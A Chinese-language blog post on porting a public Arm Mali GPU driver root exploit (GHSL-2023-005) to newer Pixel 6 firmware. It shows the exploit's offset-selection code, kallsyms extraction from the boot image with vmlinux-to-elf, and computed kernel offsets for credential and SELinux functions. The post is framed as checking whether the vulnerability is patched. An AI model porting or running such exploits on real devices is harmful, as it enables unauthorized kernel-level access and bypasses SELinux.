利用 Arm Mali GPU 驱动漏洞获取 root 权限
背景 最近有在看之前网上公布的关于 Pixel
系列手机关于 Arm Mali GPU
驱动的提权漏洞,想确认下新版本的固件是否已经修复该漏洞。本文并不是分析其实现原理和提供挖掘漏洞的思路,而是利用现有的 PoC
代码适配新版本的固件并尝试验证漏洞是否还存在。
GHSL-2023-005 这个是比较早的在 Pixle 6
上有验证过可提权的 PoC
。原理方面见 Rooting with root cause: finding a variant of a Project Zero bug
函数 select_offset
做了部分的固件版本匹配适配。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #define AVC_DENY_2301 0x8ba710 #define SEL_READ_ENFORCE_2301 0x8cdfd4 ... void select_offset () { char fingerprint[256 ]; int len = __system_property_get("ro.build.fingerprint" , fingerprint); LOG("fingerprint: %s\n" , fingerprint); if (!strcmp (fingerprint, "google/oriole/oriole:13/TP1A.221105.002/9080065:user/release-keys" )) { avc_deny = AVC_DENY_2211; sel_read_enforce = SEL_READ_ENFORCE_2211; fixup_root_shell(INIT_CRED_2211, COMMIT_CREDS_2211, SEL_READ_ENFORCE_2211, ADD_INIT_2211, ADD_COMMIT_2211, &(root_code[0 ])); return ; } if (!strcmp (fingerprint, "google/oriole/oriole:13/TQ1A.221205.011/9244662:user/release-keys" )) { avc_deny = AVC_DENY_2212; sel_read_enforce = SEL_READ_ENFORCE_2212; fixup_root_shell(INIT_CRED_2212, COMMIT_CREDS_2212, SEL_READ_ENFORCE_2212, ADD_INIT_2212, ADD_COMMIT_2212, &(root_code[0 ])); return ; } if (!strcmp (fingerprint, "google/oriole/oriole:13/TQ1A.230105.002/9325679:user/release-keys" )) { avc_deny = AVC_DENY_2301; sel_read_enforce = SEL_READ_ENFORCE_2301; fixup_root_shell(INIT_CRED_2301, COMMIT_CREDS_2301, SEL_READ_ENFORCE_2301, ADD_INIT_2301, ADD_COMMIT_2301, &(root_code[0 ])); return ; } err(1 , "unable to match build id\n" ); }
kallsyms 那么问题来了,关于如 AVC_DENY_2301
的值是如何来的。
需要先了解下 kallsyms
kallsyms.c: in-kernel printing of symbolic oopses and stack traces.
在 Linux
内核中,kallsyms
是一个符号表,它包含了内核中所有的符号信息,包括函数、变量、常量等等。
如下的部分内容可从 kallsyms
导出,其对应关系如下
获取 kallsyms
符号表有两种方式
通过 cat
命令获取,但是其首先需要有 root
权限,而我们要做的就是先提权获取 root
权限。
1 2 3 4 5 6 7 8 9 10 11 oriole:/ $ cat /proc/kallsyms cat : /proc/kallsyms: Permission denied1|oriole:/ $ su oriole:/ 0000000000000000 t acpm_ipc_debugfs_init [gs_acpm] 0000000000000000 t channel_init [gs_acpm] ... oriole:/ oriole:/ ffffffd7693f0b28 r exynos5433_bank_type_alive [pinctrl_samsung_core] ffffffd7693f0b34 r exynos5433_bank_type_off [pinctrl_samsung_core]
通过解析官方 boot
镜像提取 kernel
进行分析
首先去官网 下载对应自己 Pixel
机型的镜像文件。比如我手上有 Piexl 6
,我下载了 image-oriole-tq2a.230505.002
版本,后续有验证该版本已经无法通过上述漏洞进行提权了。
从镜像固件里面提取 boot.img
,然后解包提取 kernel
1 2 3 4 5 6 7 8 9 $ ~/AOSP/14.0.0_r29/out/host/linux-x86/bin/unpack_bootimg --boot_img boot.img $ ls -l out/ total 24376 -rw-rw-r-- 1 shumxin shumxin 24959956 May 12 14:58 kernel -rw-rw-r-- 1 shumxin shumxin 0 May 12 14:58 ramdisk $ file out/kernel kernel: LZ4 compressed data (v0.1-v0.9)
通过 file
查看提取的 kernel
还不是一个 elf
。暂时无法直接获取 kallsyms
符号表。
这里需要用到 vmlinux-to-elf 进行提取。
1 2 $ $HOME /.venv/bin/vmlinux-to-elf out/kernel kernel-vm $ $HOME /.venv/bin/kallsyms-finder kernel-vm > kallsyms.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 [+] Version string: Linux version 5.10.149-android13-4-00003-gebdbc9fbe2e2-ab9664856 (build-user@build-host) (Android (8508608, based on r450784e) clang version 14.0.7 (https://android.googlesource.com/toolchain/llvm-project 4c603efb0cca074e9238af8b4106c30add4418f6), LLD 14.0.7) #1 SMP PREEMPT Mon Feb 27 10:44:09 UTC 2023 [+] Guessed architecture: aarch64 successfully in 2.87 seconds [+] Found kallsyms_token_table at file offset 0x022409a0 [+] Found kallsyms_token_index at file offset 0x02240d40 [+] Found kallsyms_markers at file offset 0x022400e8 [+] Found kallsyms_names at file offset 0x02048828 [+] Found kallsyms_num_syms at file offset 0x02048820 [i] Negative offsets overall: 0 % [i] Null addresses overall: 0 % [+] Found kallsyms_offsets at file offset 0x01fbd780 Symbol types => ['B', 'D', 'R', 'T', 'V', 'W', 'b', 'd', 'r', 't'] ffffffc008000000 T _text ... ffffffc0088bd17c t avc_denied ffffffc0088d0a64 t sel_read_enforce ffffffc00aff1380 D init_cred ffffffc00817a618 T commit_creds
其中 _text
是 kernel
的起始虚拟地址。对应的换算关系如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #define AVC_DENY_2301 0x8ba710 #define SEL_READ_ENFORCE_2301 0x8cdfd4 #define INIT_CRED_2301 0x2fd1418 #define COMMIT_CREDS_2301 0x177ee4 #define ADD_INIT_2301 0x91106000 #define ADD_COMMIT_2301 0x913b9108 #define AVC_DENY_2305 0x8bd17c #define SEL_READ_ENFORCE_2305 0x8d0a64 #define INIT_CRED_2305 0x2ff1380 #define COMMIT_CREDS_2305 0x17a618 #define ADD_INIT_2305 0x910e0000 #define ADD_COMMIT_2305 0x91186108
关于 arm
指令集操作码可通过 Online HEX to ARM Converter 进行转化获取 16 进制数据。
参考